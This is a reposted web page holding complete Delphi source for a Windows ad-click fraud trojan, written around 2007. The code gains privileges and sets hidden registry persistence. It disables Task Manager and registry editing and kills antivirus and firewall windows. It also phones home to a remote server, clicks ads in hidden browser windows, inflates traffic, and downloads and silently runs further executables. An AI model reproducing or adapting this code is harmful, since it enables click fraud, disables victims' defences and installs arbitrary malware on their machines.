打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
模拟点击网页广告源代码
 
  1. {
  2. 模拟点击网页广告源代码 By 雪落的瞬间
  3. BLOG [url]http://hi.baidu.com/cipherteam/[/url]
  4. BBS [url]http://www.killabc.cn[/url] QQ 418880764
  5. 发送消息,删除COOKIE,HIV过主动.
  6. 由于代码写于07年好像 没去考虑体积所以
  7. 其它 自己看
  8. }

  9. unit Unit1;
  10. {$R 'copyrightA.res'}
  11. interface

  12. uses
  13. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14. Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

  15. type
  16. TAnHao_Click = class(TForm)
  17. TIME_DO: TTimer;
  18. TIME_All: TTimer;
  19. procedure FormCreate(Sender: TObject);
  20. procedure TIME_DOTimer(Sender: TObject);
  21. procedure TIME_AllTimer(Sender: TObject);
  22. procedure FormShow(Sender: TObject);
  23. private
  24. { Private declarations }
  25. public
  26. { Public declarations }
  27. end;

  28. var
  29. AnHao_Click: TAnHao_Click;
  30. DownUrl:array [0..255] of char;//点击广告配置文件下载路径
  31. LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
  32. DownSaveA:array [0..255] of char; //广告txt保存路径
  33. DownSaveL:array [0..255] of char; //流量txt保存路径
  34. DownSaveC:array [0..255] of char; //剩余点击次数保存路径
  35. DownSaveDL:array [0..255] of char; //更新txt保存路径
  36. iename: array [0..255] of char;
  37. iepath:string ; //IE 路径
  38. D_Xy:DWORD; //点击的坐标
  39. Int_LL:integer; //流量定时器计数

  40. Int_Cr:integer;
  41. ispost:BOOL; //点击还是上线
  42. ClickUrl:STring; //当前点击网址
  43. implementation

  44. {$R *.dfm}

  45. //系统路径
  46. function syspath():string;
  47. var
  48. temp: array [0..255] of char;
  49. begin
  50. GetsystemDirectory(temp,250);
  51. result:=temp;
  52. end;

  53. //按顶字符串排序分离
  54. function Split(Input: string; Deliminator: string; Index: integer): string;
  55. var
  56. StringLoop, StringCount: integer;
  57. Buffer: string;
  58. begin
  59. Buffer := '';
  60. if Index < 1 then Exit;
  61. StringCount := 0;
  62. StringLoop := 1;
  63. while (StringLoop <= Length(Input)) do
  64. begin
  65. if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
  66. begin
  67. Inc(StringLoop, Length(Deliminator) - 1);
  68. Inc(StringCount);
  69. if StringCount = Index then
  70. begin
  71. Result := Buffer;
  72. Exit;
  73. end
  74. else
  75. begin
  76. Buffer := '';
  77. end;
  78. end
  79. else
  80. begin
  81. Buffer := Buffer + Copy(Input, StringLoop, 1);
  82. end;
  83. Inc(StringLoop, 1);
  84. end;
  85. Inc(StringCount);
  86. if StringCount < Index then Buffer := '';
  87. Result := Buffer;
  88. end;

  89. //HIV 启动
  90. procedure GetBackPrivilege;
  91. Const
  92. ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
  93. SHTDWN_PRIV ='SeBackupPrivilege';
  94. PRIV_SIZE = sizeOf(TTokenPrivileges);
  95. var
  96. TokenPriv, Dummy: TTokenPrivileges;
  97. Token: THandle;
  98. Len:dWORD;
  99. begin
  100. OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
  101. LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
  102. TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  103. TokenPriv.PrivilegeCount := 1;
  104. AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
  105. end;

  106. procedure GetRestorePrivilege;
  107. var
  108. TPPrev,TP: TTokenPrivileges;
  109. TokenHandle: THandle;
  110. dwRetLen: DWORD;
  111. lpLuid: TLargeInteger;
  112. begin
  113. OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
  114. if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
  115. begin
  116. TP.PrivilegeCount:=1;
  117. TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
  118. TP.Privileges[0].Luid:=lpLuid;
  119. AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
  120. end;
  121. CloseHandle(TokenHandle);
  122. end;

  123. function addreg(key:Hkey; subkey,name,value:string):boolean;
  124. var
  125. regkey:hkey;
  126. begin
  127. result := false;
  128. RegCreateKey(key,PChar(subkey),regkey);
  129. if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
  130. result := true;
  131. RegCloseKey(regkey);
  132. end;

  133. function SaveKey2(key:integer;subkey,filename:string):Boolean;
  134. var
  135. SKey: HKEY;
  136. begin
  137. Result := false;
  138. if key = 1 then begin
  139. RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
  140. end
  141. else
  142. begin
  143. RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
  144. end;
  145. if SKey <> 0 then
  146. try
  147. Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
  148. finally
  149. RegCloseKey(SKey);
  150. end;
  151. end;

  152. procedure regstore2(key:integer;subkey,hfile:string);
  153. var
  154. key2: hkey;
  155. begin
  156. if key=1 then
  157. begin
  158. RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
  159. end
  160. else begin
  161. RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
  162. end;
  163. if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
  164. RegCloseKey(key2);
  165. end;

  166. procedure DoAll(exefile:string);
  167. var
  168. key:HKEY;
  169. I:Integer;
  170. begin
  171. SaveKey2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\1.hiv');
  172. RegCreateKey(HKEY_CURRENT_USER,PChar('Software\AnHao'),key);
  173. for i := 1 to 10 do regstore2(1,'Software\AnHao','c:\1.hiv');
  174. addreg(HKEY_CURRENT_USER,'Software\AnHao\explorer\run','Hackceo',exefile);
  175. SaveKey2(1,PChar('Software\AnHao'),'c:\2.hiv');
  176. for i := 1 to 10 do regstore2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\2.hiv');
  177. RegDeleteKey(HKEY_CURRENT_USER,'Software\AnHao');
  178. RegCloseKey(key);
  179. DeleteFile('c:\1.hiv');
  180. DeleteFile('c:\2.hiv');
  181. end;

  182. //删除CCOOKIE
  183. function GetCookiesFolder:string;
  184. var
  185. pidl:pItemIDList;
  186. buffer:array [ 0..255 ] of char ;
  187. begin
  188. SHGetSpecialFolderLocation(
  189. 0 , CSIDL_COOKIES, pidl);

  190. SHGetPathFromIDList(pidl, buffer);
  191. result:=strpas(buffer);
  192. end;

  193. function ShellDeleteFile(sFileName: string): Boolean;
  194. var
  195. FOS: TSHFileOpStruct;
  196. begin
  197. FillChar(FOS, SizeOf(FOS), 0); {记录清零}
  198. with FOS do
  199. begin
  200. Wnd:=0;
  201. wFunc := FO_DELETE;//删除
  202. pFrom := PChar(sFileName);
  203. fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
  204. end;
  205. Result := (SHFileOperation(FOS) = 0);
  206. end;
  207. procedure DelCookie;
  208. var
  209. dir:string;
  210. begin
  211. InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
  212. dir:=GetCookiesFolder;
  213. ShellDeleteFile(dir+'\*.txt');
  214. end;

  215. // 注册表锁住
  216. procedure Disablesome();
  217. var
  218. SHK:HKEY;
  219. KeyValue:DWORD;
  220. begin
  221. try
  222. //隐藏文件
  223. KeyValue:=2;
  224. RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',0,KEY_ALL_ACCESS,SHK);
  225. RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  226. finally
  227. RegCloseKey(SHK);
  228. end;
  229. try
  230. //文件夹选项锁定
  231. KeyValue:=0;
  232. RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',0,KEY_ALL_ACCESS,SHK);
  233. RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  234. finally
  235. RegCloseKey(SHK);
  236. end;
  237. try
  238. //禁止任务管理器
  239. KeyValue:=1;
  240. RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
  241. RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  242. finally
  243. RegCloseKey(SHK);
  244. end;
  245. try
  246. //禁止注册表
  247. KeyValue:=1;
  248. RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);
  249. RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
  250. finally
  251. RegCloseKey(SHK);
  252. end;
  253. end;
  254. function rbl(Hwnd: THandle;
  255. Param: Pointer): Boolean; stdcall;
  256. var
  257. bt: array[0..210] of char ;
  258. begin
  259. getwindowtext(Hwnd,bt,200);
  260. if ((pos('防火墙',bt)<>0)or (pos('主线程',bt)<>0))then
  261. begin
  262. postmessage(hwnd,$0010,0,0) ;
  263. postmessage(hwnd,$0002,0,0);
  264. postmessage(hwnd,$0012,0,0);
  265. end;
  266. Result :=true ;
  267. end;

  268. // 杀咔吧 线程 ..
  269. procedure kis ();
  270. var
  271. HKill:THANDLE;
  272. KCaption: array[0..200] of char ;
  273. begin
  274. while (true) do
  275. begin
  276. HKill:=GetForegroundWindow() ;
  277. GetClassName(HKill,KCaption,200);
  278. if (pos('AVP',KCaption)<>0) then //or(pos('AVP',KCaption)<>0)
  279. begin
  280. postmessage(HKill,WM_CLOSE,0,0) ;
  281. end;
  282. EnumWindows(@rbl,0);
  283. sleep(20);
  284. end;
  285. end;
  286. //创建杀卡巴线程
  287. procedure killkis();
  288. var
  289. kishand:THANDLE;
  290. kispid:DWORD;
  291. begin //设置时间
  292. kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
  293. CloseHandle(kishand);
  294. end;

  295. procedure Sendip();
  296. var
  297. si: TSTARTUPINFO;
  298. pi: TProcessInformation;
  299. Wed:string;
  300. begin
  301. with si do
  302. begin
  303. cb := SizeOf(si);
  304. lpReserved := nil;
  305. lpDesktop := nil;
  306. lpTitle := nil;
  307. dwFlags := STARTF_USESHOWWINDOW;
  308. wShowWindow := SW_HIDE;
  309. cbReserved2 := 0;
  310. lpReserved2 := nil;
  311. end;
  312. if ispost then
  313. begin
  314. //点击
  315. Wed:='Open [url]http://www.damocs.cn/360/click.asp?Url=[/url]'+ClickUrl;
  316. end else begin
  317. Wed:='Open [url]http://www.damocs.cn/360/click.asp?Url=OnLine[/url]'; //上线
  318. end;

  319. CreateProcess(pchar(iepath),pchar(WED),
  320. nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
  321. WaitForSingleObject(pi.hProcess, 20000);
  322. TerminateProcess(pi.hProcess,0);
  323. end;

  324. //-----------------------------------------------------------------------------

  325. // 更新 .
  326. procedure Updata () ;
  327. var
  328. txtDl:textfile;
  329. STR_URL,Str_path:string;
  330. begin
  331. URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
  332. if FileExists(DownSaveDL) then
  333. begin
  334. try
  335. assignfile(txtDL,DownSaveDL);
  336. reset(TxtDL);
  337. While not Eof(TxtDL) do
  338. begin
  339. Readln(TxtDL,Str_Url);
  340. Readln(TxtDL,Str_Path);
  341. if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
  342. begin
  343. ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);
  344. end;
  345. end;
  346. finally
  347. CloseFile(TxtDL);
  348. end;
  349. end;
  350. end;

  351. //点击广告过程
  352. function SClick(Hwnd: THandle;
  353. Param: Pointer): Boolean; stdcall;
  354. var
  355. bt: array[0..210] of char ;
  356. HandA,handB:Thandle; //handb保存IE主窗口点击后要隐藏
  357. begin
  358. getwindowtext(Hwnd,bt,200);
  359. // if (length(trim(string(bt)) > 30) then
  360. // begin
  361. if (pos('小雨雪',bt)<>0) or (pos('索',bt)<>0) then
  362. begin
  363. handB:=Hwnd; //保存IE主窗口
  364. PostMessage(handB,WM_SIZE,SIZE_MAXIMIZED,0); //隐藏最大化IE
  365. ShowWindow(HandB,SW_HIDE);
  366. handa:=FindWindowEx(hwnd,0,'TabWindowClass',nil);
  367. if handa <> 0 then
  368. begin
  369. Hwnd := handa;
  370. end;
  371. hwnd:=FindWindowEx(hwnd,0,'Shell DocObject View',nil);
  372. if hwnd <> 0 then
  373. begin
  374. hwnd:=FindWindowEx(hwnd,0,'Internet Explorer_Server',nil);
  375. if hwnd <> 0 then
  376. begin
  377. ShowWindow(HandB,SW_HIDE);
  378. PostMessage(hwnd,WM_LBUTTONDOWN,MK_LBUTTON,D_Xy);
  379. PostMessage(hwnd,WM_LBUTTONUP,MK_LBUTTON,D_Xy);

  380. ShowWindow(HandB,SW_HIDE);

  381. IsPost:=True;
  382. SendIp; //发送点击信息
  383. ShowWindow(HandB,SW_HIDE);
  384. Result :=true ;
  385. exit;
  386. end;
  387. end
  388. // end;
  389. end;
  390. Result :=true ;
  391. end;

  392. //读取配置
  393. procedure ClickAd ();
  394. var
  395. si: TSTARTUPINFO;
  396. pi: TProcessInformation;

  397. txtA:TextFile; //广告配置文本
  398. Str_Cr:string; // 当前版本
  399. Str_URL,STR_SleepA,STR_Xy,STR_SleepB,STR_ISClick:string ;
  400. begin
  401. with si do
  402. begin
  403. cb := SizeOf(si);
  404. lpReserved := nil;
  405. lpDesktop := nil;
  406. lpTitle := nil;
  407. dwFlags := STARTF_USESHOWWINDOW;
  408. wShowWindow := SW_HIDE;
  409. cbReserved2 := 0;
  410. lpReserved2 := nil;
  411. end;
  412. URLDownloadToFile(nil,DownUrl,DownSaveA,0,nil);
  413. if FileExists(DownSaveA) then
  414. begin
  415. try
  416. assignfile(txtA,DownSaveA);
  417. reset(TxtA);
  418. Readln(TxtA,Str_Cr); //获得版本
  419. if strtoint(Str_Cr) <= Int_Cr then exit;
  420. Int_Cr:= strtoint(Str_Cr);
  421. While not Eof(TxtA) do
  422. begin
  423. readln(TxtA,Str_Url);
  424. readln(TxtA,Str_SleepA);
  425. readln(TxtA,Str_Xy);
  426. readln(TxtA,Str_SleepB);
  427. readln(TxtA,Str_ISClick);
  428. if 'a'=Str_ISClick then
  429. begin
  430. D_Xy:=strtoint(Str_Xy); //转换成32位坐标
  431. ClickUrl:=Split(Str_Url,'.',2); //分离目标网址
  432. CreateProcess(pchar(iepath),pchar(Str_Url),
  433. nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
  434. WaitForSingleObject(pi.hProcess, strtoint(Str_SleepA+'000'));
  435. EnumWindows(@SClick,0);

  436. Sleep(strtoint(Str_SleepB+'000'));
  437. TerminateProcess(pi.hProcess,0);
  438. TerminateProcess(pi.hProcess,0);
  439. sleep(5000);
  440. DelCookie;
  441. sleep(5000);
  442. end;
  443. end;
  444. finally
  445. CloseFile(TxtA);
  446. windows.DeleteFile(DownSaveA);
  447. end;
  448. end;
  449. end;
  450. //刷流量
  451. procedure GetLL ();
  452. var
  453. txtLL:textfile;
  454. STR_URL,Str_Sleep:string;
  455. si: TSTARTUPINFO;
  456. pi: TProcessInformation;
  457. Wed:string;
  458. begin
  459. URLDownloadToFile(nil,LLUrl,DownSaveL,0,nil);
  460. if FileExists(DownSaveL) then
  461. begin
  462. with si do
  463. begin
  464. cb := SizeOf(si);
  465. lpReserved := nil;
  466. lpDesktop := nil;
  467. lpTitle := nil;
  468. dwFlags := STARTF_USESHOWWINDOW;
  469. wShowWindow := SW_HIDE;
  470. cbReserved2 := 0;
  471. lpReserved2 := nil;
  472. end;
  473. try
  474. assignfile(txtLL,DownSaveL);
  475. reset(TxtLL);
  476. While not Eof(TxtLL) do
  477. begin
  478. Readln(TxtLL,Str_Url);
  479. Readln(TxtLL,Str_Sleep);
  480. application.ProcessMessages;
  481. CreateProcess(pchar(iepath),pchar(Str_Url),
  482. nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
  483. WaitForSingleObject(pi.hProcess, strtoint(Str_Sleep+'000'));
  484. application.ProcessMessages;
  485. TerminateProcess(pi.hProcess,0);
  486. DelCookie;
  487. sleep(2000);
  488. end;
  489. finally
  490. CloseFile(TxtLL);
  491. end;
  492. end;
  493. end;

  494. //窗口创建
  495. procedure TAnHao_Click.FormCreate(Sender: TObject);
  496. var
  497. Hk: hkey;
  498. exepath:string;
  499. iekey: Hkey;
  500. vType,dLength :DWORD;
  501. CookiePid,HCookie:DWORD;
  502. begin
  503. CreateMutex(nil,True,'AnHao_Ad');
  504. if GetLastError = ERROR_ALREADY_EXISTS then
  505. begin
  506. Application.Terminate;
  507. PostMessage(handle,WM_CLOSE,0,0);
  508. end;
  509. Int_Cr:= 0 ;
  510. GetRestorePrivilege; //提权
  511. GetBackPrivilege;
  512. try
  513. regopenkey(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\policies', Hk);
  514. regcreatekey(Hk,pchar('explorer'),Hk);
  515. regcreatekey(Hk,pchar('run'),Hk);
  516. finally
  517. CloseHandle(Hk);
  518. end;
  519. killkis();
  520. exepath:=syspath()+'\361Ad.exe';
  521. SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_HIDDEN+ FILE_ATTRIBUTE_SYSTEM);
  522. DoAll(exepath);
  523. copyfile(pchar(paramstr(0)),pchar(exepath),true);
  524. Disablesome();
  525. strcopy(DownSaveDL,pchar(syspath()+'\AnHaoD.Txt')); //更新
  526. strcopy(DownSaveA,pchar(syspath()+'\AnHaoA.Txt')); // 广告
  527. strcopy(DownSaveL,pchar(syspath()+'\AnHaoL.Txt')); //流量
  528. strcopy(DownSaveC,pchar(syspath()+'\AnHaoC.Txt')); //次数

  529. Int_LL:=0; //流量计数器

  530. HCookie:=createthread(nil,0,@DelCookie,nil,0,CookiePid);
  531. WaitForSingleObject(HCookie,10000*6*10);
  532. vType := REG_SZ;
  533. RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
  534. dLength := SizeOf(iename);
  535. if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
  536. begin
  537. iepath := iename
  538. end else begin
  539. iepath := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
  540. RegCloseKey(iekey);
  541. end;
  542. end;

  543. //开始工作
  544. procedure TAnHao_Click.TIME_DOTimer(Sender: TObject);
  545. var
  546. PIDA,PIDB:DWORD;
  547. Txt:textfile;
  548. ClickCount:String;
  549. begin
  550. if (Int_LL = 0) or (Int_LL=20) then
  551. begin
  552. TIME_Do.Enabled:=False;
  553. ClickCount:='1';
  554. URLDownloadToFile(nil,ClickNum,DownSaveC,0,nil);
  555. if FileExists(DownSaveC) then
  556. begin
  557. try
  558. assignfile(txt,DownSaveC);
  559. reset(Txt);
  560. ReadLn(txt,ClickCount);
  561. finally
  562. CloseFile(txt);
  563. windows.DeleteFile(DownSaveC);
  564. end;
  565. end;
  566. if strtoint(ClickCount) >0 then
  567. begin
  568. ClickAd; //点击广告
  569. end;
  570. // PIDB:=CreateThread(nil,0,@ClickAd,Nil,0,PIDA);
  571. // WaitForSingleObject(PIDB,INFINITE) ;
  572. sleep(1000);
  573. GetLL ; //刷流量
  574. sleep(1000);
  575. UPData; //更新下载者
  576. // PIDB:=CreateThread(nil,0,@Getll,Nil,0,PIDA);
  577. // WaitForSingleObject(PIDB,INFINITE) ;
  578. TIME_Do.Enabled:=True;
  579. Int_LL:=0;
  580. end;
  581. Int_LL:=Int_LL+1;
  582. end;

  583. //判断是否联网 控制 刷流量和点击广告开始 定时器
  584. procedure TAnHao_Click.TIME_AllTimer(Sender: TObject);
  585. var
  586. Connect_status : DWORD;
  587. URLA,URLB,UrlC,UrlD:string;
  588. begin
  589. if InternetGetConnectedState(@connect_status,0)then
  590. begin
  591. Ispost:=False ;
  592. SendIp; //发送上线信息

  593. //http://www.damocs.cn/config/gg.txt //广告
  594. UrlA:=jmp('213D3D397366663E3E3E672D2824262A3A672A27662A26272F202E662E2E673D313D','I');

  595. //http://www.damocs.cn/config/ll.txt //流量
  596. UrlB:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5C5C1E444844','SBL');

  597. //http://www.damocs.cn/config/dl.txt //更新
  598. UrlC:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F545C1E444844','Love');

  599. //剩余点击次数
  600. //http://www.damocs.cn/config/num.txt
  601. UrlD:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5E455D1E444844','Love');

  602. strcopy(DownUrl,pchar(UrlA));
  603. strcopy(LLUrl,pchar(UrlB));
  604. strcopy(Upurl,pchar(UrlC));
  605. strcopy(ClickNum,pchar(UrlD));

  606. TIME_Do.Enabled:=True;
  607. TIME_All.Enabled:=False;
  608. end;
  609. end;
  610. procedure TAnHao_Click.FormShow(Sender: TObject);
  611. begin
  612. ShowWindow(0,SW_HIDE);
  613. end;

  614. end.
阅读(582)| 评论(0
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
读写注册表
Kendy--DELPHI加注册表自启动的最简单代码
DLL函数写法 让我很受教育
delphi基础开发技巧
用D11.3编译的服务DLL安装成功启动服务成功
DELPHI的一些开发技巧和方法
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服